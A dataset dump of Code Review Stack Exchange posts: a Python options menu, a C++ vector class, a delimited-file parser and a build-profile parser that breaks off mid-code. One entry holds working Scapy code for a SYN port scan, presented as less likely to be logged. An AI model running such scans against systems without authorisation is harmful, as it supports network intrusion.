body
stringlengths 25
86.7k
| comments
list | answers
list | meta_data
dict | question_id
stringlengths 1
6
|
|---|---|---|---|---|
<p>My script presents an options menu for scripts contained within the "options" folder. The user selects the scripts they want to run, and enters "start". This then starts the scripts in a specific order (not included) - the order the scripts are in the options menu.</p>
<p>I believe it can be a lot shorter, more appealing and Pythonic. How can I improve it?</p>
<pre><code>import os
import xml.etree.ElementTree as ET
import sys
import customError
import login
class optionMenu():
__slot__ = ["options"]
def __init__(self):
#creates a dictionary of usable programs and if they are selected or not
self.options = {k.split(".")[0].lower():False for k in os.listdir("Options") if k.endswith(".exe")}
def menu(self): #3 when called displays GUI
print("\n".join(["[x] "+name if bool == True else "[ ] "+name for name,bool in self.options.items()]))
def select(self,selection):
if(selection.lower() == "start" and True not in self.options.values()):
print("Can't Start")
elif(selection.lower() == "start" and True in self.options.values()):
print("starting",",".join([name for name,bool in self.options.items() if bool == True]))
return False
elif(selection.lower() not in self.options.keys()):
print("Please make a valid selection")
elif(self.options[selection.lower()] == False):
self.options[selection.lower()] = True
return True
def main(self):
self.menu()
choice = input("Choice: ")
return self.select(choice)
# End of OptionMenu Class
class scripts():
__slot__ = ["tree","root","script","version","scriptName","author","contributors","scriptType","executable"]
def __init__(self,script):
self.version = script.find('version').text
self.scriptName = script.find('scriptName').text
self.author = script.find('author').text
self.contributors = self.adjustcon([script.find('contributors').text])
self.scriptType = script.find('scriptType').text
self.executable = os.path.join("Options",self.scriptName,".exe")
def adjustcon(self,contributors):
if(len(contributors) > 1): #20 checks if selected list is greater than 1 element
return (", ".join(contributors[:-1]) ,"and",contributors[-1]) #21 formats output -> Running: element,..., and element
elif(contributors[0] == None):
return None
else: #22 if only one selection made
return (", ".join(contributors))
def getVersion(self):
return self.version
def setVersion(self,version):
self.version = version
def getName(self):
return self.scriptName
def setName(self,name):
self.scriptName = name
def getAuthor(self):
return self.author
def setAuthor(self,author):
self.author = author
def getContributors(self):
return self.contributors
def setContributors(self,contributors):
self.contributors = contributors
def getType(self):
return self.scriptType
def setTypes(self,type):
self.scriptType = type
def getExecutable(self):
return self.executable
def setExecutable(self,exe):
self.executable = exe
def getScripts():
scriptDict = {k.find('scriptName').text:scripts(k) for k in ET.parse("scriptInfo.xml").getroot().findall('script')}
return scriptDict
def openingScreen(scripts): #19 formatting for to part that appears.
script = next(value for key,value in scripts.items() if value.scriptType=="optionMenu")
scriptName = script.scriptName
welcome = "{0} WELCOME TO {1} {0}".format("-"*48,scriptName)
credit = welcome+"""\nVersion: {0}\nDeveloped by {1} With help from {2}
{3} DISCLAIMERS {3}\nVerify that all usernames and password entered are valid. If the script needs to be terminated press ctrl+C.
Select all needed programs, multitool will run them in proper order. Once complete the respective notes/logs will be stored in a folder.\n{4}""".format(script.version,script.author,script.contributors
,"-"*int((len(welcome)-13)/2),"-"*len(welcome))
return (credit,scriptName)
if __name__ == "__main__":
try:
scripts = getScripts()
screen,currentScript = openingScreen(scripts = scripts)
menu = optionMenu()
deciding = True
while deciding:
os.system('cls||clear') # clears cmd for illusion of updating
print(screen)
deciding = menu.main()
# need to add method by which to pass variables.
lines = open("RunOrderList.txt","r")
for line in lines:
print(line)
login.login()
except KeyboardInterrupt: # catch exit command ctrl+C
print("Exiting {0}".format(currentScript))
input("Press the enter key to continue...")
except Exception as e: # Catches Unexpected exceptions
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print(exc_type, fname, exc_tb.tb_lineno)
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<h2>Overall comment</h2>\n<p>Your main goal should not be to do as much as possible with as few lines of code as possible, even if you can and even if Python expressions make it possible.</p>\n<h2>Suggestion 0: Code style and formatting</h2>\n<p>Read a Python style guide ( <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">https://www.python.org/dev/peps/pep-0008/</a> ) and run your code through an autoformatter to fix the style quickly. Some space between function definitions is one thing that would help readability.</p>\n<p><a href=\"https://www.tutorialspoint.com/online_python_formatter.htm\" rel=\"nofollow noreferrer\">https://www.tutorialspoint.com/online_python_formatter.htm</a></p>\n<p>You don't need parentheses when using <code>if</code>, that's done in Java and many other languages but not Python.</p>\n<h2>Suggestion 1: Readability and maintainability</h2>\n<pre><code>self.options = {k.split(".")[0].lower():False for k in os.listdir("Options") if k.endswith(".exe")}\n</code></pre>\n<p>Code like this is difficult to read.</p>\n<p>Start by splitting your code up into stepwise instructions so that it can be parsed by a human. Don't worry about the number of lines.</p>\n<pre><code>self.options = {}\n\nfor k in os.listdir("Options"):\n if k.endswith(".exe"):\n filename = k.split(".")[0].lower()\n self.options[filename] = False\n</code></pre>\n<h2>Suggestion 2: Bloat(?)</h2>\n<pre><code>def getVersion(self):\n return self.version\n def setVersion(self,version):\n self.version = version\n def getName(self):\n return self.scriptName\n def setName(self,name):\n self.scriptName = name\n def getAuthor(self):\n return self.author\n</code></pre>\n<p>You don't need setters and getters. Just delete them and access your variables directly. There may be programs or situations where it makes sense to have setters and getters, but this is not one.</p>\n<h2>Suggestion 3: Don't repeat yourself</h2>\n<p><a href=\"https://dzone.com/articles/software-design-principles-dry-and-kiss\" rel=\"nofollow noreferrer\">https://dzone.com/articles/software-design-principles-dry-and-kiss</a></p>\n<p>(and more)</p>\n<p>Starting here</p>\n<pre><code>def select(self,selection):\n if(selection.lower() == "start" and True not in self.options.values()):\n print("Can't Start")\n elif(selection.lower() == "start" and True in self.options.values()):\n print("starting",",".join([name for name,bool in self.options.items() if bool == True]))\n return False\n elif(selection.lower() not in self.options.keys()):\n print("Please make a valid selection")\n elif(self.options[selection.lower()] == False):\n self.options[selection.lower()] = True\n return True\n</code></pre>\n<p><code>selection.lower()</code> and <code>self.options</code> are used a lot, let's redefine them once instead.</p>\n<pre><code>def select(self,selection):\n selection = selection.lower()\n opts = self.options\n if(selection == "start" and True not in opts.values()):\n print("Can't Start")\n elif(selection == "start" and True in opts.values()):\n print("starting",",".join([name for name,bool in opts.items() if bool == True]))\n return False\n elif(selection not in opts.keys()):\n print("Please make a valid selection")\n elif(opts[selection] == False):\n opts[selection] = True\n return True\n</code></pre>\n<p>The first two checks have a lot in common and belong together, so we can refactor those.</p>\n<pre><code>def select(self,selection):\n selection = selection.lower()\n opts = self.options\n if selection == "start":\n if True in opts.values():\n print("starting",",".join([name for name,bool in opts.items() if bool == True]))\n return False\n else:\n print("Can't Start")\n return True\n \n if selection not in opts.keys():\n print("Please make a valid selection")\n elif(opts[selection] == False):\n opts[selection] = True\n return True\n</code></pre>\n<p>This can be improved further but I'm running out of time.</p>\n<p><code>bool</code> is a keyword. Don't name your variables <code>bool</code>.</p>\n<p>Use an editor like PyCharm or Visual studio Code or anything else that has syntax highlighting and warning for such errors.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T01:49:44.520",
"Id": "488904",
"Score": "0",
"body": "I appreciate you taking the time to look at my code! I always enjoy a chance to learn. If you want to look at the whole project checkout: https://github.com/michaeldcanady/MultiTool"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T14:28:54.080",
"Id": "249349",
"ParentId": "249333",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T00:13:36.837",
"Id": "249333",
"Score": "5",
"Tags": [
"python",
"python-3.x"
],
"Title": "Script running options menu"
}
|
249333
|
<p>I decided to try writing up a port scanner to develop my understanding of <a href="https://scapy.readthedocs.io/en/latest/introduction.html" rel="nofollow noreferrer">Scapy</a>. Here's a timed example of its use. The first two arguments are the address and range of ports to scan:</p>
<pre><code>>>> timeit(lambda: print(port_scan("192.168.123.123", range(15000), timeout=5)), number=1)
[80, 11111]
32.23571190000001
</code></pre>
<p>I've made naïve scanners before that were basically just connecting sockets and seeing if you get errors, but those are "noisy" in that each attempt is more likely to get logged. This version sends a SYN to the server to initiate the TCP handshake, then looks at the response. If it's a SYN-ACK, something is accepting connections on the port, and if it's anything else, they aren't (or at least they aren't from us, right now).</p>
<p>There isn't a ton of code here, but this is my first time using Scapy, so I'd appreciate tips on it or anything else. It's painfully slow, so if the packet construction or sending could be sped up, I'd appreciate that. Normally I'd use a thread pool here, but I have no idea what all Scapy is doing behind the scenes, so I haven't tried that yet. I'm trying to used a "cached" <code>ip_layer</code> in <code>new_scan_packets</code> as well, but that doesn't seem to have helped.</p>
<pre><code>from typing import Collection, List
from random import randint, shuffle
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import sr
SEQ_MAX = 2**32 - 1
EPHEMERAL_RANGE = (2**14 + 2**15, 2**16 - 1) # According to the IANA
SYN_FLAG = "S"
SYN_ACK_FLAG = SYN_FLAG + "A"
ALL_PORTS = range(EPHEMERAL_RANGE[1] + 1)
DEFAULT_TIMEOUT = 3
def new_scan_packets(address: str, ports: Collection[int]) -> List[TCP]:
ip_layer = IP(dst=address)
return [ip_layer / TCP(sport=randint(*EPHEMERAL_RANGE), dport=port, seq=randint(0, SEQ_MAX - 1), flags=SYN_FLAG)
for port in ports]
def port_scan(address: str, ports: Collection[int], shuffled: bool = True, **kwargs) -> List[int]:
"""
Scans the ports in the given collection and finds which are accepting connections.
Returns a list of ports that were found to be open.
kwargs are passed directly to sr to support options like "delay" and "timeout".
"""
kwargs.setdefault("timeout", DEFAULT_TIMEOUT) # Because the scan could hang indefinitely otherwise
syns = new_scan_packets(address, ports)
if shuffled:
shuffle(syns)
answered, _ = sr(syns, verbose=False, **kwargs)
return sorted(stimulus[TCP].dport
for stimulus, response in answered
if response[TCP].flags.flagrepr() == SYN_ACK_FLAG)
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T00:14:49.943",
"Id": "249334",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"networking"
],
"Title": "Simple SYN Port Scan Using Scapy"
}
|
249334
|
<p>This is my first post here and I hope I will get some recommendations to improve my code. I have a parser which processes the file with the following structure:</p>
<pre><code>SE|43171|ti|1|text|Distribution of metastases...
SE|43171|ti|1|entity|C0033522
SE|43171|ti|1|relation|C0686619|COEXISTS_WITH|C0279628
SE|43171|ab|2|text|The aim of this study...
SE|43171|ab|2|entity|C2744535
SE|43171|ab|2|relation|C0686619|PROCESS_OF|C0030705
SE|43171|ab|3|text|METHODS Between April 2014...
SE|43171|ab|3|entity|C1964257
SE|43171|ab|3|entity|C0033522
SE|43171|ab|3|relation|C0085198|INFER|C0279628
SE|43171|ab|3|relation|C0279628|PROCESS_OF|C0030705
SE|43171|ab|4|text|Lymph node stations...
SE|43171|ab|4|entity|C1518053
SE|43171|ab|4|entity|C1515946
</code></pre>
<p>Records (i.e., blocks) are separated by an empty line. Each line in a block starts with a <code>SE</code> tag; the <code>text</code> tag always occurs in the first line of each block (in the 4th field). The program extracts:</p>
<ol>
<li>All <code>relation</code> tags in a block, and</li>
<li>Corresponding text (i.e., sentence ID (<code>sent_id</code>) and sentence text (<code>sent_text</code>)) from the first line of the block, if relation tag is present in a block. Please note that the relation tag is not necessarily present in each block.</li>
</ol>
<p>Below is a mapping dictionary between tags and related fields in a file and a main program.</p>
<pre><code># Specify mappings to parse lines from input file
mappings = {
"id": 1,
"text": {
"sent_id": 3,
"sent_text": 5
},
"relation": {
'subject': 5,
'predicate': 6,
'object': 7,
}
}
</code></pre>
<p>Finally a code:</p>
<pre><code>def extraction(file_in):
"""This function extracts lines with 'text' and 'relation'
tag in the 4th field."""
extraction = {}
file = open(file_in, encoding='utf-8')
bla = {'text': []} # Create dict to store sent_id and sent_text
for line in file:
results = {'relations': []}
if line.startswith('SE'):
elements = line.strip().split('|')
pmid = elements[1] # Extract number from the 2nd field
if elements[4] == 'text':
tmp = {}
for key, idx in mappings['text'].items():
tmp[key] = elements[idx]
bla['text'].append(tmp) # Append sent_id and sent_text
if elements[4] == 'relation':
tmp = {}
for key, ind in mappings['relation'].items():
tmp[key] = elements[ind]
tmp.update(sent_id = bla['text'][0]['sent_id'])
tmp.update(sent_text = bla['text'][0]['sent_text'])
results['relations'].append(tmp)
extraction[pmid] = extraction.get(pmid, []) + results['relations']
else:
bla = {'text': []} # Empty dict to store new sent_id and text_id
file.close()
return extraction
</code></pre>
<p>The output looks like:</p>
<pre><code>import json
print(json.dumps(extraction('test.txt'), indent=4))
{
"43171": [
{
"subject": "C0686619",
"predicate": "COEXISTS_WITH",
"object": "C0279628",
"sent_id": "1",
"sent_text": "Distribution of lymph node metastases..."
},
{
"subject": "C0686619",
"predicate": "PROCESS_OF",
"object": "C0030705",
"sent_id": "2",
"sent_text": "The aim of this study..."
},
{
"subject": "C0085198",
"predicate": "INFER",
"object": "C0279628",
"sent_id": "3",
"sent_text": "METHODS Between April 2014..."
},
{
"subject": "C0279628",
"predicate": "PROCESS_OF",
"object": "C0030705",
"sent_id": "3",
"sent_text": "METHODS Between April 2014..."
}
]
}
</code></pre>
<p>Thanks for any recommendation.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T07:25:02.587",
"Id": "488682",
"Score": "2",
"body": "Welcome to CodeReview@SE. Shall parsing be lenient (allow variations as long as they are recognisable) or strict (e.g., insist on the 3rd part to abbreviate *title* or *abstract*, resp.)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T07:29:14.673",
"Id": "488684",
"Score": "0",
"body": "I'm afraid that I don't understand your question completely."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T07:33:33.367",
"Id": "488685",
"Score": "1",
"body": "`extraction()`'s doc string is enough to refrain from commenting on not handling \"`entity` lines\". Documenting, or at least commenting on strictness would help the same way."
}
] |
[
{
"body": "<p>Nothing in your code is unreasonable and you've done a careful job. Nonetheless,\nI would encourage you to decompose the parsing into smaller, simpler steps.</p>\n<p>As a first step in that direction, a parsing function should take some text\n(either a blob or an iterable of lines) and return or yield meaningful data. It\nshould not be concerned with the source of that text or the details of how to\nobtain it (eg reading a file). So the top-level <code>extraction()</code> function should\njust open the file and give the file handle to a separate parsing function. For\nexample:</p>\n<pre><code>def extraction(file_in):\n with open(file_in, encoding='utf-8') as fh:\n return parse(fh)\n</code></pre>\n<p>And the <code>parse()</code> function should also focus more tightly on orchestrating the\nparsing steps and assembling the final data structure. In the illustration\nbelow, notice that this design simplifies what one has to do to\ntest the parsing logic. Just feed it a list of lines -- no need to create a\nfile for the text. That's better for automated testing, better for quick\nexperimentation, better for sharing code with people on this website.</p>\n<pre><code>def parse(lines):\n extr = {}\n for rec in parse_records(lines):\n pmid, relations = parse_record(rec)\n extr.setdefault(pmid, []).extend(relations)\n return extr\n</code></pre>\n<p>Your data format implies two parsing phases. The first is to break the full\ntext into records (the blocks or paragraphs), as shown below. Notice how easy\nthis code is to understand: it's just breaking text apart into blank-line\ndelimited sections. Also notice that this function is general-purpose and can\nbe re-used in other parsing situations.</p>\n<pre><code>def parse_records(lines):\n rec = []\n for line in lines:\n if line.strip():\n rec.append(line)\n elif rec:\n yield rec\n rec = []\n if rec:\n yield rec\n</code></pre>\n<p>The second phase is to parse a single record. Just as we\nrelieved the parsing function of the burden of knowing about file\nopening and reading, the record parser should be relieved of the\nburden of knowing about the larger file structure. The function below\nillustrates one way to parse the record. A few things worth noting. First, I\ndon't think your <code>mapping</code> dict is really helping you. Even though the impulse\nto create it was understandable, it didn't truly allow you to\ngeneralize/parameterize the parsing function (it still contained hard-coded\ncolumn locations, for example, and also had to know about the main sign posts\nin the input text, specifically the tokens <code>SE</code>, <code>|</code>, <code>text</code>, and <code>relations</code>\nand how to interpret them for parsing purposes). Since it didn't get you fully to re-usable\ncode, I would just embrace a little hard-coding. Second, notice how this code\nis also easy to scan, read, and understand -- because it's doing so much less.\nFinally, because of that tighter focus, the function is fairly easy to test now.\nAnd that's important for this function because it's the one with the\nmost algorithmic complexity and potential for problems due to irregular\ndata.</p>\n<pre><code>def parse_record(rec):\n pmid = None\n sent_id = None\n sent_text = None\n relations = []\n for line in rec:\n if not line.startswith('SE'):\n continue\n xs = line.strip().split('|')\n row_type = xs[4]\n if row_type == 'text':\n pmid = xs[1]\n sent_id = xs[3]\n sent_text = xs[5]\n elif row_type == 'relation':\n relations.append({\n 'subject': xs[5],\n 'predicate': xs[6],\n 'object': xs[7],\n 'sent_id': sent_id,\n 'sent_text': sent_text,\n })\n return (pmid, relations)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T09:07:32.480",
"Id": "488696",
"Score": "1",
"body": "Great review, one suggestion. Given the requirements, in `parse_record` I would throw an exception when a line doesn't start with \"SE\" or when \"text\" is not in the first line."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T09:55:09.737",
"Id": "488699",
"Score": "2",
"body": "@Marc Thanks for reminding me (at one point I had the same thought, but was too lazy or forgetful). Fixed. Other errors can occur in this function if the data is not fully regular, but the OP can address those specifics."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T08:11:03.247",
"Id": "249340",
"ParentId": "249338",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249340",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T04:33:00.163",
"Id": "249338",
"Score": "3",
"Tags": [
"python",
"beginner",
"parsing"
],
"Title": "Parse selected records from empty-line separated file"
}
|
249338
|
<p>Looking forward to get your feedback on my attempt to replicate vector class functionality. Especially I have doubts about copy constructor and resize methods. I think that copy constructor could potentially cause memory leak, but I don't know how to make it better. I implemented two resize methods and they both seem to work, but which is actually better?</p>
<pre><code>#include <iostream>
#include <type_traits>
#include <math.h>
template <typename T>
class Vector {
private:
T* m_Data;
size_t m_Size, m_Capacity;
public:
Vector(size_t cap = 2)
: m_Size(0), m_Capacity(cap) {
m_Data = new T[cap];
}
Vector(size_t size, size_t cap)
: m_Size(size), m_Capacity(cap) {
m_Data = new T[cap];
}
Vector(const std::initializer_list<T>& il)
: Vector(il.size(), il.size() * 2) {
int cnt = 0;
for (const auto& el : il)
m_Data[cnt++] = el;
}
// copy constructor, makes deep copy
Vector(const Vector& v)
: m_Size(v.size()), m_Capacity(v.capacity()) {
m_Data = new T[m_Capacity];
for (size_t i = 0; i < m_Size; i++) {
m_Data[i] = v[i];
}
}
~Vector() {
delete[] m_Data;
}
// void resize(size_t newCapacity) {
// T* newData = new T[newCapacity];
// m_Size = std::min(m_Size, newCapacity);
//
// for (size_t i = 0; i < m_Size; i++)
// newData[i] = std::move(m_Data[i]);
//
// delete[] m_Data;
// m_Data = newData;
// m_Capacity = newCapacity;
// }
void resize(size_t newCapacity) {
char* newData = new char[sizeof(T) * newCapacity];
m_Size = std::min(m_Size, newCapacity);
T* dst = reinterpret_cast<T*>(newData);
for (size_t i = 0; i < m_Size; i++)
new (dst + i) T(m_Data[i]);
delete[] m_Data;
m_Data = reinterpret_cast<T*>(newData);
m_Capacity = newCapacity;
}
void push_back(const T& n) {
if (m_Capacity <= m_Size)
resize(m_Capacity * 2);
m_Data[m_Size++] = n;
}
void push_back(const T&& n) {
if (m_Capacity <= m_Size)
resize(m_Capacity * 2);
m_Data[m_Size++] = std::move(n);
}
void pop_back() {
if (m_Size > 0)
m_Data[--m_Size].~T();
}
void clear() {
for (size_t i = 0; i < m_Size; i++)
m_Data[i].~T();
m_Size = 0;
}
size_t size() const {
return m_Size;
}
size_t capacity() const {
return m_Capacity;
}
bool empty() const {
return m_Size == 0;
}
const T& operator[](size_t index) const {
if (index >= m_Size)
throw "Index out of bounds";
return m_Data[index];
}
T& operator[](size_t index) {
if (index >= m_Size)
throw "Index out of bounds";
return m_Data[index];
}
Vector<T> operator+(const Vector& other) {
if (m_Size != other.size())
throw "Vectors are of different size";
Vector<T> v(m_Size);
for (size_t i = 0; i < m_Size; i++) {
v.push_back(m_Data[i] + other[i]);
}
return v;
}
};
template <
typename T,
typename = typename std::enable_if<std::is_arithmetic<T>::value, T>::type>
int norm(const Vector<T> v) {
int nrm = 0;
size_t n = v.size();
for (int i = 0; i < n; i++) {
nrm += v[i]*v[i];
}
return sqrt(nrm);
}
template <typename T>
std::ostream& operator<<(std::ostream& s, const Vector<T>& v) {
s << "[";
size_t n = v.size();
for (size_t i = 0; i < n; i++) {
s << v[i] << (i < n - 1 ? ", " : "");
}
s << "]";
return s;
}
int main(int argc, const char * argv[]) {
Vector<int>* a = new Vector<int> {1, 2, 3, 4, 5};
Vector<int> b = {5, 4, 3, 2, 6};
Vector<int> c = b;
return 0;
}
</code></pre>
<p>Thank you.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T07:44:13.583",
"Id": "488687",
"Score": "0",
"body": "I don't think that `std::vector<T>` has `operator+` overload. And I don't think that yours is working as you meant it to.... Also iterators are missing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T08:40:06.347",
"Id": "488691",
"Score": "0",
"body": "I know that, it was part of the assignment. I passed it, but I want to know how to improve it. Thank you for iterators suggestion though. Also, can you elaborate on why you think that ```operator+``` is not working as I mean it to?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T08:50:52.180",
"Id": "488692",
"Score": "1",
"body": "Aha sorry it works alright. I incorrectly assumed that `Vector<T>(size_t)` works the same as `std::vector<T>(size_t)`. Which is btw another divergence from standard vector. Another one may be that the container should define member types such as size_type, value_type, reference, pointer, etc. https://en.cppreference.com/w/cpp/container/vector"
}
] |
[
{
"body": "<h1>About the copy constructor and <code>resize()</code></h1>\n<p>In the copy constructor (and the other constructors as well), you allocate memory using <code>new T[...]</code>, but in <code>resize()</code> you allocate memory with <code>new char[sizeof(T) * ...]</code> and then use placement new to copy the old elements. The former is safe, but potentially calls more constructors than expected, the latter has the problem that you can have unused capacity that was never properly initialized, but when you <code>delete</code> it you will call the destructor on all reserved elements.</p>\n<p>To be safe and to avoid calling the constructor of <code>T</code> for reserved elements, do the following consistently:</p>\n<ul>\n<li>Use <code>char *m_Data</code> to keep track of the allocated memory (you could keep it as <code>T *m_Data</code>, but you have to be careful not to never call <code>delete[] m_Data</code> directly)</li>\n<li>Always use placement <code>new</code> when adding actual elements to the vector</li>\n<li>Always use <a href=\"https://stackoverflow.com/questions/6783993/placement-new-and-delete\">"placement <code>delete</code>"</a> when deleting actual elements from the vector</li>\n</ul>\n<p>Also, ideally you want to <code>std::move</code> elements during <code>resize()</code>, but that is tricky, especially if <code>T</code>'s move constructor can throw exceptions.</p>\n<h1>Divergence from <code>std::vector</code></h1>\n<p>As already discussed in the comments, your vector class is slightly different from <code>std::vector</code>. This is due to the requirements of the assignment. Outside of class assignments, there are also real scenarios where you cannot use <code>std::vector</code>, but where you have to implement it yourself. In that case you do want to keep the interface as much as possible the same as <code>std::vector</code>'s, to ensure your own class is a drop-in replacement, and there are no surprises.</p>\n<h1>Constructor reserving space vs. allocating elements</h1>\n<p>Your constructor that takes a <code>size_t</code> argument uses it to reserve space, but doesn't add any elements to the vector. However, the corresponding constructor from <code>std::vector</code> uses the argument to allocate actual elements which are default initialized. Also, with your class:</p>\n<pre><code>Vector<int> v(4, 2);\n</code></pre>\n<p>This allocates only space for two elements, which are not initialized, and sets <code>m_Size</code> to 4, making the sizes inconsitent with each other, and allowing a subsequent call to <code>operator[]()</code> read out of bounds without throwing an error. Contrast this with:</p>\n<pre><code>std::vector<int> v(4, 2);\n</code></pre>\n<p>This allocates a vector of 4 elements which are all initialized to the value <code>2</code>. So a quite different behavior.</p>\n<h1>Use <code>size_t</code> for counters</h1>\n<p>In the constructor that takes an initializer list, you use <code>int cnt</code>, but an <code>int</code> might not be big enough. Use <code>size_t</code> consistently for sizes, counts and indices.</p>\n<h1>You can allocate memory in the member initializer list</h1>\n<p>Just a note that you can have more complex expressions in the member initializer list, including those with side effects such as allocating memory. So you can write:</p>\n<pre><code>Vector(size_t size, size_t cap)\n : m_Data(new T[cap]), m_Size(size), m_Capacity(cap) {}\n</code></pre>\n<p>It doesn't really matter in this case, but it is <a href=\"https://stackoverflow.com/questions/926752/why-should-i-prefer-to-use-member-initialization-lists\">good practice</a> to do this, as there are benefits in some cases.</p>\n<h1>Throw using a proper exception type</h1>\n<p>Don't <code>throw</code> random strings, but use a proper type for the exception. If you were to use the standard library, select a suitable type from <a href=\"https://en.cppreference.com/w/cpp/error/exception\" rel=\"noreferrer\"><code><exception></code></a>, for example:</p>\n<pre><code>if (index >= m_Size)\n throw std::out_of_range("Index out of bounds");\n</code></pre>\n<p>If you cannot use the standard library, then at least define your own exception type, so a caller can use specific catch-blocks. For example, consider that you might want to do the following:</p>\n<pre><code>try {\n Vector<int> v(100000); // might throw std::bad_alloc if `new` fails\n Vector<int> w(10000);\n v[100000] = 10; // out of range error\n v += w; // vectors of different size\n}\ncatch (std::bad_alloc &e) {\n // out of memory\n}\ncatch (std::out_of_bounds &e) {\n // handle index out of bounds\n}\ncatch (std::invalid_argument &e) {\n // handle operator+[] with an argument of the wrong size\n}\n</code></pre>\n<p>If you just throw a string, you can only have one <code>catch</code>-block, which then has to parse the string to figure out what is going on.</p>\n<h1>Consider not doing bounds check in <code>operator[]()</code></h1>\n<p>The standard library does not do bounds checks when using <code>operator[]()</code>, since it has a significant impact on performance. There is a separate function, <a href=\"https://en.cppreference.com/w/cpp/container/vector/at\" rel=\"noreferrer\"><code>at()</code></a>, that\ndoes do bounds checks.</p>\n<h1>No need to write <code>Vector<T></code> inside <code>Vector</code></h1>\n<p>Inside the class definition you don't need to write <code>Vector<T></code>, just write <code>Vector</code>.</p>\n<h1>Missing iterators</h1>\n<p>Your class does not implement iterators, so you cannot write something like:</p>\n<pre><code>Vector<int> v(10);\n...\nfor (auto el: v) {\n std::cout << el << "\\n";\n}\n</code></pre>\n<p>It's a good excercise to try to implement iterators for your class.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T16:49:10.007",
"Id": "488740",
"Score": "0",
"body": "I know that you should not write comments like \"thank you\", but I want to let you know that your review was extremely useful and contains a lot of useful things besides vector implementation itself. Thanks."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T10:34:09.687",
"Id": "249343",
"ParentId": "249339",
"Score": "7"
}
}
] |
{
"AcceptedAnswerId": "249343",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T06:26:46.380",
"Id": "249339",
"Score": "4",
"Tags": [
"c++",
"vectors"
],
"Title": "Implementation of the std::vector class"
}
|
249339
|
<p>I used <a href="https://github.com/apple/swift-llbuild" rel="nofollow noreferrer"><code>llbuild ninja build --profile PATH</code></a> to create a JSON file of build summary in the following format:</p>
<pre><code>{ "name": "Building a.c", "ph": "B", "pid": 0, "tid": 0, "ts": 19967021195},
{ "name": "Building b.c", "ph": "B", "pid": 0, "tid": 1, "ts": 19967021196},
{ "name": "Building c.c", "ph": "B", "pid": 0, "tid": 0, "ts": 19967021197},
{ "name": "Building d.c", "ph": "B", "pid": 0, "tid": 1, "ts": 19967021198},
</code></pre>
<p>A multi-line editor was used to remove all the "keys" of the JSON file and keep only the "values" and thus it became a CSV.</p>
<p>The code reads this file and outputs top N slowest processes (build or link) separated by thread.</p>
<p>The limitations are:</p>
<ul>
<li>Cannot handle <code>,</code> in <code>"name"</code>, so they must be removed beforehand.</li>
<li>Cannot create a fancy charts.</li>
</ul>
<p>I'm not looking to make it any faster, or memory efficient. Comments about design and code organisation are welcome!</p>
<p>main.cpp</p>
<pre><code>/* This file needs a json file path and prints top 10 time slowest processes for each thread. */
#include <iostream>
#include <fstream>
#include <string>
#include <string_view>
#include <vector>
#include <map>
#include <optional>
#include <cassert>
#include <cmath>
#include <algorithm>
#include "main.hh"
const int N_SPLIT{5};
namespace global::string_utils {
/**
* Split a given string using the delimiter.
* https://codereview.stackexchange.com/a/247292/205955
*/
std::vector<std::string_view> split_a_line(std::string_view in_string, const char delimiter = ',')
{
std::vector<std::string_view> r_out_list;
r_out_list.reserve(N_SPLIT);
in_string.remove_prefix(std::min(in_string.find_first_of(' ') + 1, in_string.size()));
for (;;) {
if (in_string.empty()) {
return r_out_list;
}
const std::string_view::size_type pos = in_string.find(delimiter);
if (pos == std::string_view::npos) {
r_out_list.push_back(in_string);
return r_out_list;
}
r_out_list.push_back(in_string.substr(0, pos));
in_string = in_string.substr(pos + 1, std::string_view::npos);
}
return r_out_list;
}
} // namespace global::string_utils
/**
* Read a line from the file and create an `Item`.
*/
std::unique_ptr<Item> Parser::parse_line()
{
std::unique_ptr<Item> new_item{nullptr};
const bool ok = std::getline(_in_stream, _a_line, '\n').operator bool();
if (!ok || _a_line.empty()) {
return new_item;
}
std::vector<std::string_view> split_line_str = global::string_utils::split_a_line(_a_line);
if (split_line_str.size() == 5) {
new_item.reset(new Item{std::string(split_line_str[0]),
std::stoi(std::string(split_line_str[3])),
std::stoll(std::string(split_line_str[4]))});
}
assert(split_line_str.size() == 5 || split_line_str.empty());
return new_item;
}
/**
* Parse the file and store processes separated by threads.
*/
static std::vector<std::vector<Process>> separate_by_thread(Parser *parser)
{
std::vector<std::vector<Process>> all_threads;
/* Every element in the vector corresponds to a thread. */
std::vector<std::map<std::string, long long int>> deduplicators;
while (parser->good()) {
std::unique_ptr<Item> item{parser->parse_line()};
if (!item) {
continue;
}
/* Threads are also zero-based. */
if (deduplicators.size() <= item->thread) {
